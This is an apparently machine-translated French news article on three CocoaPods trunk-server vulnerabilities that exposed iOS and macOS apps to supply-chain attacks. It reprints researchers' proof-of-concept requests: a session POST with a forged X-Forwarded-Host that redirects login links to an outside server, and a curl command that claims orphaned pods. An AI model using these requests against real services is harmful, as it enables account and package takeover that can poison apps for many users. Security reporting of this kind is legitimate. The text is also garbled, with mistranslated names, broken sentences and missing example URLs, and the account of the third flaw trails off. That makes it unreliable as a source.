Des vulnérabilités qui n’ont pas été détectées pendant une décennie ont rendu des milliers d’applications macOS et iOS vulnérables aux attaques de la chaîne logistique. Les chercheurs ont déclaré lundi que les pirates informatiques pourraient avoir ajouté un code malveillant mettant en danger la sécurité de millions, voire de milliards de personnes qui l’ont installé.
Les vulnérabilités, corrigées en octobre dernier, étaient localisées dans un serveur « trunk » utilisé pour gérer… Gousses de cacao, un référentiel de projets open source Swift et Objective-C sur lequel reposent près de 3 millions d’applications macOS et iOS. Lorsque les développeurs apportent des modifications à l’un de leurs « packages » (le langage CocoaPods pour les packages de code individuels), les applications approuvées les intègrent généralement automatiquement via des mises à jour d’applications, généralement sans nécessiter d’interaction de la part des utilisateurs finaux.
Vulnérabilités d’injection de code
« De nombreuses applications ont accès aux informations les plus sensibles d’un utilisateur : détails de la carte de crédit, dossiers médicaux, documents privés, etc. » livres « L’injection de code dans ces applications pourrait permettre à des attaquants d’accéder à ces informations à des fins malveillantes à peu près toutes imaginables – ransomware, fraude, extorsion, espionnage industriel… », affirment les chercheurs d’EVA Information Security, la société qui a découvert la vulnérabilité. , cela peut exposer les entreprises à des responsabilités juridiques importantes et à des risques de réputation.
Les trois vulnérabilités découvertes par EVA proviennent d’un mécanisme de courrier électronique non sécurisé utilisé pour valider l’identité des développeurs de volumes individuels. Où le développeur saisit l’adresse email associée à son unité de stockage. Le serveur de lignes réseau répond en envoyant un lien vers l’adresse. Lorsque quelqu’un clique sur le lien, il a accès au compte.
Dans un cas, un attaquant peut manipuler l’URL du lien pour la faire pointer vers un serveur sous son contrôle. Le serveur accepte une fausse URL XFH, qui est un en-tête HTTP permettant d’identifier l’hôte cible spécifié dans la requête HTTP. Les chercheurs d’EVA ont découvert qu’ils pouvaient utiliser du XFH forgé pour créer les URL de leur choix.
Généralement, l’e-mail contient un lien valide à publier sur le serveur CocoaPods.org, tel que :
Les chercheurs peuvent également modifier l’URL pour diriger vers leur propre serveur :
Cette vulnérabilité, suivie comme CVE-2024-38367, était localisée dans la classe session_controller du code source du serveur principal, qui gère l’URL de validation de session. La classe utilise le mécanisme session_controller.rb, qui donne la priorité à XFH par rapport à l’en-tête de l’hôte d’origine. Le code d’exploitation utilisé par les chercheurs était :
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"[email protected]",
"name":"EVAResearch",
"description":null
}
Une vulnérabilité distincte identifiée comme CVE-2024-38368 permettait aux attaquants de prendre le contrôle de modules abandonnés par leurs développeurs mais toujours utilisés par les applications. Une API qui permet aux développeurs de restaurer leurs modules est restée active pendant environ 10 ans après sa première mise en œuvre. Les chercheurs ont découvert que toute personne trouvant une interface de module orpheline peut l’activer pour en prendre le contrôle, sans avoir à prouver qu’elle en est propriétaire.
basique rouler Une requête contenant le nom du pod suffisait :
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
-H 'Host: trunk.cocoapods.org' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name]=EVA&[email protected]'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
La troisième vulnérabilité, CVE-2024-38366, permettait aux attaquants d’exécuter du code sur le serveur principal. Le serveur maître dépend de RFC822 Il a été formalisé en 1982 pour vérifier le caractère unique des adresses email des développeurs enregistrés et vérifier si elles suivent le bon format. Une partie du processus comprend un examen Enregistrement MX Pour la plage d’adresses e-mail telle qu’implémentée par ce Implémentation de la RFC822.
More Stories
Apple annonce l’expansion de Vision Pro dans deux pays supplémentaires
Nintendo lance une application musicale avec des thèmes de Mario et Zelda et, plus important encore, une chaîne Wii Shop
C’est le journal que personne n’a lu avant d’annoncer la disparition de la cryptographie moderne.